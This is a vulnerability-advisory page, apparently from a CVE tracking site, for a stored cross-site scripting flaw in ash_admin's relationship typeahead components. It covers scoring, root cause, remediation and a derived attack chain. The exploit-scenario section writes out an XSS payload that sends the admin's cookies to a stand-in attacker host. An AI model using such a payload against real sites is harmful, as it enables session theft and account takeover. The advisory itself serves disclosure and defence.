Skip to main content

ash_admin EUVDEUVD-2026-68326

| CVE-2026-77850 HIGH
Cross-site Scripting (XSS) (CWE-79)
2026-08-31 EEF
8.4
CVSS 4.0 · Vendor: EEF
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Recon
    Attacker creates record with XSS payload in label_field
  2. Delivery
    Payload persists in database
  3. Exploit
    Admin opens AshAdmin relationship field
  4. Install
    Typeahead search returns malicious record
  5. C2
    label_field rendered unescaped via raw/1
  6. Execute
    Payload executes in admin browser
  7. Impact
    Admin session credentials exfiltrated

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Two concrete prerequisites must be met: (1) the attacker holds write access to create or modify records in a resource configured as a relationship target within AshAdmin - this is the PR:L condition in the CVSS 4.0 vector, meaning any application-level account with record-creation rights qualifies; and (2) an administrator actively uses the AshAdmin relationship typeahead and the malicious record appears in the search results - the UI:A condition requiring the admin to perform an action rather than merely load a page. The vulnerability is scoped to ash_admin versions 0.13.0 through 1.3.1; deployments on 1.3.1 or later are not affected. Exploitation is limited to the AshAdmin web interface specifically; the underlying Ash framework data layer is not directly affected. Environments where all record-creation access is gated to administrator-level accounts are at substantially reduced risk, since the attacker would already hold equivalent privileges to the victim.

Impact

The CVSS 4.0 score of 8.4 (High) accurately captures the primary risk signals: network-reachable (AV:N), low complexity (AC:L), low privilege required (PR:L - any user able to create records), and active admin interaction needed (UI:A). The high confidentiality and integrity impact on the vulnerable system (VC:H/VI:H) reflects that the admin session, once compromised, exposes full control over the AshAdmin interface. The stored nature of the payload is a key risk multiplier: unlike reflected XSS, the attacker plants the payload once and waits, with no need for phishing or race conditions. The vulnerability is not in CISA KEV and no public exploit code has been identified, which lowers immediate exploitation pressure. EPSS data was not provided; exploitation probability is inferred as moderate given the low technical bar - any developer-familiar attacker who can create records and understands Phoenix HTML rendering could exploit this without specialized tooling. Environments where only trusted administrators can create records are at materially lower risk, as the attacker and victim would need to share privilege level. No conflicts between data signals are apparent; the CVSS vector is consistent with the described attack path.

Exploit ScenarioDerived

A lower-privileged application user creates a record whose label field contains a crafted XSS payload - for example, a username or title set to <img src=x onerror="fetch('https://attacker.example/?s='+btoa(document.cookie))">. The record is stored normally in the database. When an administrator later opens AshAdmin and begins typing in a relationship field that references that resource, the typeahead renders the attacker's label unescaped, causing the payload to execute in the admin's browser and exfiltrate session data. No public proof-of-concept has been identified, but the attack requires no specialized tooling beyond knowledge of the vulnerable rendering path.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.3% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAI

Stored XSS in ash_admin's relationship typeahead components allows an attacker with low-privilege record-creation access to execute arbitrary JavaScript in an administrator's browser. Affected are ash_admin versions 0.13.0 through 1.3.1, where the RelationshipField and ManagedRelationshipSelectField components render database record label fields unescaped via Phoenix.HTML.raw/1 after applying search-term highlight markup. A crafted label such as <img src=x onerror=...> persists in the database and fires whenever an admin's typeahead dropdown displays the matching record, granting the attacker full admin-level privileges over everything AshAdmin exposes. No public exploit code has been identified at time of analysis; a vendor-released patch is available in version 1.3.1.

RemediationAI

Upgrade ash_admin to version 1.3.1 or later, which contains the fix introduced in commit 07289191ccdac27dd70ab7c6413ed057bc7fdade; the vendor advisory is at https://github.com/ash-project/ash_admin/security/advisories/GHSA-m23x-576h-73w8. If an immediate upgrade is not feasible, the most effective compensating control is to restrict record-creation permissions so that only fully trusted administrators can write to resources exposed as relationship targets in AshAdmin, eliminating the lower-privileged attacker foothold; the trade-off is that this may break intended workflows where end users contribute data. Alternatively, placing AshAdmin behind a network boundary accessible only to administrators (e.g., VPN-gated or internal-only route) reduces attack surface by ensuring no lower-privileged external user can plant a payload, though it does not eliminate risk from insider threats. There is no known way to disable only the affected typeahead highlight behavior without patching.

Affected VersionsENISA

ash_admin eb940f4d7d857ca49368ae847f586d01c6f5ad35 <07289191ccdac27dd70ab7c6413ed057bc7fdade
ash_admin 0.13.0 <1.3.1

Affected Packages

euvd ash_admin fix: 1.3.1

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

ash_admin is an admin web interface for the Elixir Ash framework, built on Phoenix LiveView. The affected components - AshAdmin.Components.Resource.RelationshipField and AshAdmin.Components.Resource.ManagedRelationshipSelectField (CPE: cpe:2.3:a:ash-project:ash_admin) - power typeahead dropdowns used when editing relationship fields. Phoenix LiveView normally HTML-escapes all template interpolations automatically; however, the highlighting logic retrieved the destination record's label_field, applied a regex replace to wrap the matched search term in <b> tags, and passed the resulting string directly to Phoenix.HTML.raw/1. Calling raw/1 marks a value as safe and disables all output escaping for it, meaning any HTML or JavaScript embedded in the label field is emitted verbatim into the DOM. The root cause is CWE-79 (Improper Neutralization of Input During Web Page Generation - Cross-site Scripting): user-controlled database content was trusted as markup without sanitization. The fix, visible in commit 07289191ccdac27dd70ab7c6413ed057bc7fdade, introduces Phoenix.HTML.html_escape/1 and Phoenix.HTML.safe_to_string/1 on the label before the regex replace, ensuring special characters are neutralized before highlight <b> tags are injected.

Know when Ash Admin gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (EEF) PRIMARY 8.4 HIGH
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:A/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N
vuln.today AI 8.7 HIGH

Stored XSS escalating attacker's limited session to full admin context constitutes scope change (S:C); PR:L reflects required record-creation access; UI:R for the admin's typeahead interaction.

3.1 AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N
4.0 AV:N/AC:L/AT:N/PR:L/UI:A/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N

Primary rating from Vendor (EEF).

CVSS VectorVendor: EEF

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
Low
User Interaction
Active
Vulnerable system: Confidentiality
High
Vulnerable system: Integrity
High
Vulnerable system: Availability
None
Subsequent system: Confidentiality
None
Subsequent system: Integrity
None
Subsequent system: Availability
None

DescriptionCVE.org

Stored Cross-site Scripting vulnerability in ash-project ash_admin executes attacker-supplied record content as script in an administrator's browser.

The relationship typeahead components AshAdmin.Components.Resource.RelationshipField and AshAdmin.Components.Resource.ManagedRelationshipSelectField highlight the matched search term by wrapping it in <b> tags and rendering the whole string with Phoenix.HTML.raw/1. The highlighted value is the destination record's label_field, ordinary database content that is often written by lower-privileged users. Because raw/1 disables output escaping for the entire string, a stored label such as <img src=x onerror=...> runs as JavaScript in the admin's session as soon as a matching record appears in the dropdown, giving the attacker the admin's privileges over everything AshAdmin exposes. The fix HTML-escapes the label before inserting the highlight markup.

This issue affects ash_admin: from 0.13.0 before 1.3.1.

Technical POC Analysis

CWE-79 (Improper Neutralization of Input During Web Page Generation).

Full technical POC analysis - root cause, step-by-step exploitation and patch breakdown - is part of the Pro and Business plans.

Threat Intelligence Overview

EPSS Score
0.3%
Top 80% exploitable
Prevalence
Low
Elixir/Ash ecosystem admin panel, niche enterprise footprint
Social Media
1
Sightings
Data Quality
7 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment CIRCL GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.3%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation
Poc
System Exposure· derived
Open
Automatable
No
Human Impact· derived
Medium
Technical Impact
Total

Priority Score

42
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +42
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy